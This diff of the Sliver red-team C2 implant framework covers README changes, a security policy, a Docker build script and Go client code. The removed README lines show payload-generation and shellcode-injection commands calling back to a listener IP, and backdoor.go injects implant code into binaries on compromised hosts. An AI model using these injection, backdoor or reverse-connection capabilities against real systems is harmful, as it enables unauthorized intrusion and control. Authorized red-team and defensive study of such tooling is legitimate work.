+* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
+* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
+* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
+* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
+* Local and remote process injection
+* Windows process migration
+* Windows user token manipulation
+* Anti-fingerprinting features
+* Let's Encrypt integration
+* In-memory .NET assembly execution
+* COFF/BOF in-memory loader
+* Much more!
 
-1. Install Metasploit Framework v5 or later
-2. Download the latest [Sliver](https://github.com/BishopFox/sliver/releases) binary
-3. ???
-4. Shellz
+### Getting Started
 
-### Local Thread Execution
+Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
 
-Execute shellcode in the local process:
+#### Linux One Liner
 
-```
-sliver (NURSING_BEETLE) > msf -lhost 172.16.20.1
- msf -lhost 172.16.20.1
-[*] Generating meterpreter_reverse_https windows/amd64 -> 172.16.20.1:4444 ...
-[*] Successfully generated payload 207449 byte(s)
-[*] Sending payload -> NURSING_BEETLE
-[*] Sucessfully sent payload
-```
+`curl https://sliver.sh/install|sudo bash` and then run `sliver`
 
-### Remote Thread Injection
+### Help!
 
-Inject shellcode into remote processes:
+Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
 
-```
-sliver (NURSING_BEETLE) > inject -pid 3100 -lhost 172.16.20.1
- inject -pid 3100 -lhost 172.16.20.1
-[*] Generating meterpreter_reverse_https windows/amd64 -> 172.16.20.1:4444 ...
-[*] Successfully generated payload 207449 byte(s)
-[*] Sending payload -> NURSING_BEETLE -> PID: 3100
-[*] Sucessfully sent payload
-```
+### Compile From Source
 
-Sliver also has a built-in `ps` command.
+See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
 
-### Multi-player Mode
+### License - GPLv3
 
-Sliver can also execute multiple payloads per connection. This can be helpful if your meterpreter session dies, or if you want to play with friends:
+Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
 
-```
-sliver (STUPID_AIRBAG) > msf -lhost 172.16.20.1
- msf -lhost 172.16.20.1
-[*] Generating windows/amd64 -> 172.16.20.1:4444 ...
-[*] Successfully generated payload 207449 byte(s)
-[*] Sending payload -> STUPID_AIRBAG
-[*] Sucessfully sent payload
-sliver (STUPID_AIRBAG) > msf -lhost 172.16.20.2
- msf -lhost 172.16.20.2
-[*] Generating windows/amd64 -> 172.16.20.2:4444 ...
-[*] Successfully generated payload 207449 byte(s)
-[*] Sending payload -> STUPID_AIRBAG
-[*] Sucessfully sent payload
-```
-
-## Compile From Source
-
-You'll want to compile from a MacOS or Linux machine, compiling from Windows should work but none of the scripts are designed to run on Windows (you can compile the Windows binaries from MacOS or Linux).
-
-Requirements:
-* Metasploit Framework v5 or later
-* Go v1.11 or later
-* Make, sed, tar, wget, zip
-
-Build thin server (for developement)
-
-```
-$ ./deps.sh
-$ ./go-assets.sh
-$ make
-```
-
-Statically compile and bundle server with all dependencies and assets:
-
-```
-$ make static-macos
-$ make static-linux
-$ make static-windows
-```

SECURITY.md

@@ -0,0 +1,18 @@
+# Security Policy
+
+One of the main goals of the Sliver project is to provide a secure platform when performing assessments, we encourage everyone to do a security review of the code base and report vulnerabilities, or to request features if the project does not meet your security needs.
+
+### Bug Bounty
+
+Anything in the `master` branch, without an open ticket.
+
+| Severity | Reward  |
+|---|---|
+| Critical  |  12+ Year Whisky or Scotch |
+|  High | Good Beer  |
+|  Medium | A PBR, Grain Belt, or Hamm's  |
+|  Low | High Five |
+
+### Reporting a Vulnerability
+
+Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.

build.py

@@ -0,0 +1,118 @@
+#!/usr/bin/env python
+"""
+Sliver Implant Framework
+Copyright (C) 2019  Bishop Fox
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.
+"""
+
+import os
+import sys
+import argparse
+
+try:
+    input = raw_input # Py2 / Py3 compatability
+except NameError:
+    pass
+
+
+INFO = "\033[1m\033[36m[*]\033[0m "
+WARN = "\033[1m\033[31m[!]\033[0m "
+BOLD = "\033[1m"
+NORM = "\033[0m"
+
+
+def exec_cmd(cmd, ignore_status=False):
+    """ Executes a command with some sugar """
+    print("\n" + INFO + " %s\n" % cmd)
+    status = os.system(cmd)
+    if status != 0 and not ignore_status:
+        print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
+        if input("continue? [Y/n]: ").upper() != 'Y':
+            sys.exit(status)
+    return status
+
+def docker_rm_volumes():
+    exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
+
+def docker_rm_containers():
+    exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
+
+def docker_rm_images():
+    exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
+
+def docker_prune():
+    exec_cmd("docker image prune -f", ignore_status=True)
+
+def docker_rm_all():
+    docker_rm_containers()
+    docker_rm_images()
+    docker_rm_volumes()
+
+def build():
+    status = exec_cmd("docker build -t sliver .")
+    if status == 0:
+        print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
+        print(INFO+"Remember you'll need to manually forward network ports")
+
+def main(args):
+    """ Execute the respective task(s) based on cli args """
+    if args.rm_images:
+        docker_rm_images()
+    if args.rm_containers:
+        docker_rm_containers()
+    if args.rm_volumes:
+        docker_rm_volumes()
+    if args.rm_all:
+        docker_rm_all()
+    
+    if not args.no_prune:
+        docker_prune()
+    if not args.no_build:
+        build()
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(
+        description='automates interactions with docker')
+
+    parser.add_argument('--no-build', '-b',
+                        help='do not run build',
+                        dest='no_build',
+                        action='store_true')
+    parser.add_argument('--no-prune', '-np',
+                        help='do not prune images',
+                        dest='no_prune',
+                        action='store_true')
+
+    parser.add_argument('--rm-all', '-rma',
+                        help='rm all containers, images, and volumes',
+                        dest='rm_all',
+                        action='store_true')
+    parser.add_argument('--rm-containers', '-rmc',
+                        help='rm all containers',
+                        dest='rm_containers',
+                        action='store_true')
+    parser.add_argument('--rm-images', '-rmi',
+                        help='rm all images',
+                        dest='rm_images',
+                        action='store_true')
+    parser.add_argument('--rm-volumes', '-rmv',
+                        help='rm dangling volumes only',
+                        dest='rm_volumes',
+                        action='store_true')
+    try:
+        main(parser.parse_args())
+    except KeyboardInterrupt:
+        print("\n\n" + WARN + "User stopped process")

client/README.md

@@ -0,0 +1,18 @@
+Client
+=======
+
+This directory contains the client implementation, pretty much all of this code is also used by the server console. 
+
+__Important:__ No code in this directory can import any code from `server/`.
+
+ * `assets/` - Static asset files and management code (e.g. client configs)
+ * `cli/` - Command line interface implementation
+ * `command/` - Console command implementations
+ * `constants/` - Various shared constant values
+ * `core/` - Client state management
+ * `licenses/` - Open source licenses 
+ * `spin/` - Console spinner library
+ * `tcpproxy/` - Local TCP proxy listener code
+ * `transport/` - Wires the client to the server
+ * `version/` - Version information
+ * `main.go` - Entrypoint

client/assets/.gitignore

@@ -0,0 +1,9 @@
+fs/*.zip
+fs/extensions/darwin/amd64/
+fs/extensions/darwin/arm64/
+fs/extensions/linux/amd64/
+fs/extensions/windows/amd64/
+fs/extensions/darwin/386/
+fs/extensions/darwin/386/
+fs/extensions/linux/386/
+fs/extensions/windows/386/

client/assets/README.md

@@ -0,0 +1,3 @@
+Assets
+======
+

client/assets/assets.go

@@ -0,0 +1,148 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"embed"
+	"fmt"
+	"io/ioutil"
+	"log"
+	"os"
+	"os/user"
+	"path"
+	"path/filepath"
+	"strings"
+
+	ver "github.com/bishopfox/sliver/client/version"
+)
+
+var (
+	//go:embed fs/extensions/*
+	assetsFs embed.FS
+)
+
+const (
+	// SliverClientDirName - Directory storing all of the client configs/logs
+	SliverClientDirName = ".sliver-client"
+	// SliverExtensionsDirName - Directory storing the client side extensions
+	SliverExtensionsDirName = "extensions"
+	versionFileName         = "version"
+)
+
+// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
+func GetRootAppDir() string {
+	user, _ := user.Current()
+	dir := path.Join(user.HomeDir, SliverClientDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
+func GetExtensionsDir() string {
+	user, _ := user.Current()
+	dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+func assetVersion() string {
+	appDir := GetRootAppDir()
+	data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
+	if err != nil {
+		return ""
+	}
+	return strings.TrimSpace(string(data))
+}
+
+func saveAssetVersion(appDir string) {
+	versionFilePath := path.Join(appDir, versionFileName)
+	fVer, _ := os.Create(versionFilePath)
+	defer fVer.Close()
+	fVer.Write([]byte(ver.GitCommit))
+}
+
+// Setup - Extract or create local assets
+func Setup(force bool, echo bool) {
+	appDir := GetRootAppDir()
+	localVer := assetVersion()
+	if force || localVer == "" || localVer != ver.GitCommit {
+		if echo {
+			fmt.Printf("Unpacking assets ...\n")
+		}
+		err := setupCoffLoaderExt(appDir)
+		if err != nil {
+			fmt.Println(err)
+			log.Fatal(err)
+		}
+		saveAssetVersion(appDir)
+	}
+	if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
+		SaveSettings(nil)
+	}
+}
+
+func setupCoffLoaderExt(appDir string) error {
+	extDir := GetExtensionsDir()
+	win32ExtDir := path.Join("windows", "386")
+	win64ExtDir := path.Join("windows", "amd64")
+	coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
+	coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
+	manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
+	loader64, err := assetsFs.ReadFile(coffLoader64)
+	if err != nil {
+		return err
+	}
+	loader32, err := assetsFs.ReadFile(coffLoader32)
+	if err != nil {
+		return err
+	}
+	manifest, err := assetsFs.ReadFile(manifestPath)
+	if err != nil {
+		return err
+	}
+	localWin32ExtDir := path.Join(extDir, win32ExtDir)
+	err = os.MkdirAll(localWin32ExtDir, 0700)
+	if err != nil {
+		return err
+	}
+	localWin64ExtDir := path.Join(extDir, win64ExtDir)
+	err = os.MkdirAll(localWin64ExtDir, 0700)
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
+	if err != nil {
+		return err
+	}
+	return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
+}

client/assets/config.go

@@ -0,0 +1,124 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"crypto/sha256"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"log"
+	"os"
+	"path"
+	"path/filepath"
+)
+
+const (
+	// ConfigDirName - Directory name containing config files
+	ConfigDirName = "configs"
+)
+
+// ClientConfig - Client JSON config
+type ClientConfig struct {
+	Operator      string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
+	LHost         string `json:"lhost"`
+	LPort         int    `json:"lport"`
+	Token         string `json:"token"`
+	CACertificate string `json:"ca_certificate"`
+	PrivateKey    string `json:"private_key"`
+	Certificate   string `json:"certificate"`
+}
+
+// GetConfigDir - Returns the path to the config dir
+func GetConfigDir() string {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	dir := path.Join(rootDir, ConfigDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+// GetConfigs - Returns a list of available configs
+func GetConfigs() map[string]*ClientConfig {
+	configDir := GetConfigDir()
+	configFiles, err := ioutil.ReadDir(configDir)
+	if err != nil {
+		log.Printf("No configs found %v", err)
+		return map[string]*ClientConfig{}
+	}
+
+	confs := map[string]*ClientConfig{}
+	for _, confFile := range configFiles {
+		confFilePath := path.Join(configDir, confFile.Name())
+		log.Printf("Parsing config %s", confFilePath)
+
+		conf, err := ReadConfig(confFilePath)
+		if err != nil {
+			continue
+		}
+		digest := sha256.Sum256([]byte(conf.Certificate))
+		confs[fmt.Sprintf("%s@%s (%x)", conf.Operator, conf.LHost, digest[:8])] = conf
+	}
+	return confs
+}
+
+// ReadConfig - Load config into struct
+func ReadConfig(confFilePath string) (*ClientConfig, error) {
+	confFile, err := os.Open(confFilePath)
+	defer confFile.Close()
+	if err != nil {
+		log.Printf("Open failed %v", err)
+		return nil, err
+	}
+	data, err := ioutil.ReadAll(confFile)
+	if err != nil {
+		log.Printf("Read failed %v", err)
+		return nil, err
+	}
+	conf := &ClientConfig{}
+	err = json.Unmarshal(data, conf)
+	if err != nil {
+		log.Printf("Parse failed %v", err)
+		return nil, err
+	}
+	return conf, nil
+}
+
+// SaveConfig - Save a config to disk
+func SaveConfig(config *ClientConfig) error {
+	if config.LHost == "" || config.Operator == "" {
+		return errors.New("Empty config")
+	}
+	configDir := GetConfigDir()
+	filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
+	saveTo, _ := filepath.Abs(path.Join(configDir, filename))
+	configJSON, _ := json.Marshal(config)
+	err := ioutil.WriteFile(saveTo, configJSON, 0600)
+	if err != nil {
+		log.Printf("Failed to write config to: %s (%v)", saveTo, err)
+		return err
+	}
+	log.Printf("Saved new client config to: %s", saveTo)
+	return nil
+}

client/assets/fs/extensions/manifest.json

@@ -0,0 +1,16 @@
+[
+    {
+        "name": "coff-loader",
+        "help": "Load and execute Beacon Object Files (BOFs) in memory.",
+        "entrypoint": "LoadAndRun",
+        "extFiles": [
+            {
+                "os": "windows",
+                "files": {
+                    "x64": "COFFLoader.x64.dll",
+                    "x86": "COFFLoader.x86.dll"
+                }
+            }
+        ]
+    }
+]

client/assets/settings.go

@@ -0,0 +1,73 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"io/ioutil"
+	"path/filepath"
+)
+
+const (
+	settingsFileName = "tui-settings.json"
+)
+
+// ClientSettings - Client JSON config
+type ClientSettings struct {
+	TableStyle        string `json:"tables"`
+	AutoAdult         bool   `json:"autoadult"`
+	BeaconAutoResults bool   `json:"beacon_autoresults"`
+}
+
+// LoadSettings - Load the client settings from disk
+func LoadSettings() (*ClientSettings, error) {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
+	if err != nil {
+		return defaultSettings(), err
+	}
+	settings := defaultSettings()
+	err = json.Unmarshal(data, settings)
+	if err != nil {
+		return defaultSettings(), err
+	}
+	return settings, nil
+}
+
+func defaultSettings() *ClientSettings {
+	return &ClientSettings{
+		TableStyle:        "SliverDefault",
+		AutoAdult:         false,
+		BeaconAutoResults: true,
+	}
+}
+
+// SaveSettings - Save the current settings to disk
+func SaveSettings(settings *ClientSettings) error {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	if settings == nil {
+		settings = defaultSettings()
+	}
+	data, err := json.MarshalIndent(settings, "", "  ")
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
+	return err
+}

client/cli/README.md

@@ -0,0 +1,4 @@
+CLI
+===
+
+This package implements the Sliver client cli.

client/cli/cli.go

@@ -0,0 +1,109 @@
+package cli
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"log"
+	"os"
+	"path"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/transport"
+	"github.com/bishopfox/sliver/client/version"
+
+	"github.com/spf13/cobra"
+)
+
+const (
+	logFileName = "sliver-client.log"
+)
+
+var (
+	sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
+)
+
+// Initialize logging
+func initLogging(appDir string) *os.File {
+	log.SetFlags(log.LstdFlags | log.Lshortfile)
+	logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
+	if err != nil {
+		panic(fmt.Sprintf("[!] Error opening file: %s", err))
+	}
+	log.SetOutput(logFile)
+	return logFile
+}
+
+func init() {
+
+	// Import
+	rootCmd.AddCommand(cmdImport)
+
+	// Version
+	rootCmd.AddCommand(cmdVersion)
+}
+
+var rootCmd = &cobra.Command{
+	Use:   "sliver-client",
+	Short: "",
+	Long:  ``,
+	Run: func(cmd *cobra.Command, args []string) {
+		appDir := assets.GetRootAppDir()
+		logFile := initLogging(appDir)
+		defer logFile.Close()
+
+		os.Args = os.Args[:1] // Stops grumble from complaining
+		err := StartClientConsole()
+		if err != nil {
+			fmt.Printf("[!] %s\n", err)
+		}
+	},
+}
+
+// StartClientConsole - Start the client console
+func StartClientConsole() error {
+	configs := assets.GetConfigs()
+	if len(configs) == 0 {
+		fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
+		return nil
+	}
+	config := selectConfig()
+	if config == nil {
+		return nil
+	}
+
+	fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
+	rpc, ln, err := transport.MTLSConnect(config)
+	if err != nil {
+		fmt.Printf("Connection to server failed %s", err)
+		return nil
+	}
+	defer ln.Close()
+	return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
+}
+
+// Execute - Execute root command
+func Execute() {
+	if err := rootCmd.Execute(); err != nil {
+		fmt.Println(err)
+		os.Exit(1)
+	}
+}

client/cli/config.go

@@ -0,0 +1,73 @@
+package cli
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"sort"
+
+	"github.com/bishopfox/sliver/client/assets"
+
+	"gopkg.in/AlecAivazis/survey.v1"
+)
+
+func selectConfig() *assets.ClientConfig {
+
+	configs := assets.GetConfigs()
+
+	if len(configs) == 0 {
+		return nil
+	}
+
+	if len(configs) == 1 {
+		for _, config := range configs {
+			return config
+		}
+	}
+
+	answer := struct{ Config string }{}
+	qs := getPromptForConfigs(configs)
+	err := survey.Ask(qs, &answer)
+	if err != nil {
+		fmt.Println(err.Error())
+		return nil
+	}
+
+	return configs[answer.Config]
+}
+
+func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
+
+	keys := []string{}
+	for k := range configs {
+		keys = append(keys, k)
+	}
+	sort.Strings(keys)
+
+	return []*survey.Question{
+		{
+			Name: "config",
+			Prompt: &survey.Select{
+				Message: "Select a server:",
+				Options: keys,
+				Default: keys[0],
+			},
+		},
+	}
+}

client/cli/import.go

@@ -0,0 +1,47 @@
+package cli
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2020  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"os"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/spf13/cobra"
+)
+
+var cmdImport = &cobra.Command{
+	Use:   "import",
+	Short: "Import a client configuration file",
+	Long:  `import [config files]`,
+	Run: func(cmd *cobra.Command, args []string) {
+		if 0 < len(args) {
+			for _, arg := range args {
+				conf, err := assets.ReadConfig(arg)
+				if err != nil {
+					fmt.Printf("[!] %s\n", err)
+					os.Exit(3)
+				}
+				assets.SaveConfig(conf)
+			}
+		} else {
+			fmt.Printf("Missing config file path, see --help")
+		}
+	},
+}

client/cli/version.go

@@ -0,0 +1,35 @@
+package cli
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2020  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/version"
+	"github.com/spf13/cobra"
+)
+
+var cmdVersion = &cobra.Command{
+	Use:   "version",
+	Short: "Print version and exit",
+	Long:  ``,
+	Run: func(cmd *cobra.Command, args []string) {
+		fmt.Printf("%s\n", version.FullVersion())
+	},
+}

client/command/README.md

@@ -0,0 +1,14 @@
+Command
+=======
+
+This package contains all of the client command implementations that are shared between the client and the server console.
+
+### Developers
+
+General guidance on the structure of this package:
+ * One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
+ * The root command, and reused code should go into the file named after the command
+   * For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
+ * Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
+   * Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
+ * Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.

client/command/backdoor/README.md

@@ -0,0 +1,4 @@
+Backdoor
+========
+
+Implements command related to `backdoor`

client/command/backdoor/backdoor.go

@@ -0,0 +1,66 @@
+package backdoor
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// BackdoorCmd - Command to inject implant code into an existing binary
+func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	remoteFilePath := ctx.Args.String("remote-file")
+	if remoteFilePath == "" {
+		con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
+		return
+	}
+
+	profileName := ctx.Flags.String("profile")
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
+	con.SpinUntil(msg, ctrl)
+	backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
+		FilePath:    remoteFilePath,
+		ProfileName: profileName,
+		Request:     con.ActiveTarget.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if backdoor.Response != nil && backdoor.Response.Err != "" {
+		con.PrintErrorf("%s\n", backdoor.Response.Err)
+		return
+	}
+
+	con.PrintInfof("Uploaded backdoor'd binary to %s\n", remoteFilePath)
+}

client/command/beacons/README.md

@@ -0,0 +1,4 @@
+Beacons
+========
+
+This package implements the beacons command, which can be used to list and interact with beacons.

client/command/beacons/beacons.go

@@ -0,0 +1,169 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/command/kill"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"golang.org/x/crypto/ssh/terminal"
+)
+
+// BeaconsCmd - Display/interact with beacons
+func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	killFlag := ctx.Flags.String("kill")
+	killAll := ctx.Flags.Bool("kill-all")
+
+	// Handle kill
+	if killFlag != "" {
+		beacon, err := GetBeacon(con, killFlag)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		err = kill.KillBeacon(beacon, false, con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Println()
+		con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
+	}
+
+	if killAll {
+		beacons, err := GetBeacons(con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		for _, beacon := range beacons.Beacons {
+			err = kill.KillBeacon(beacon, true, con)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			con.Println()
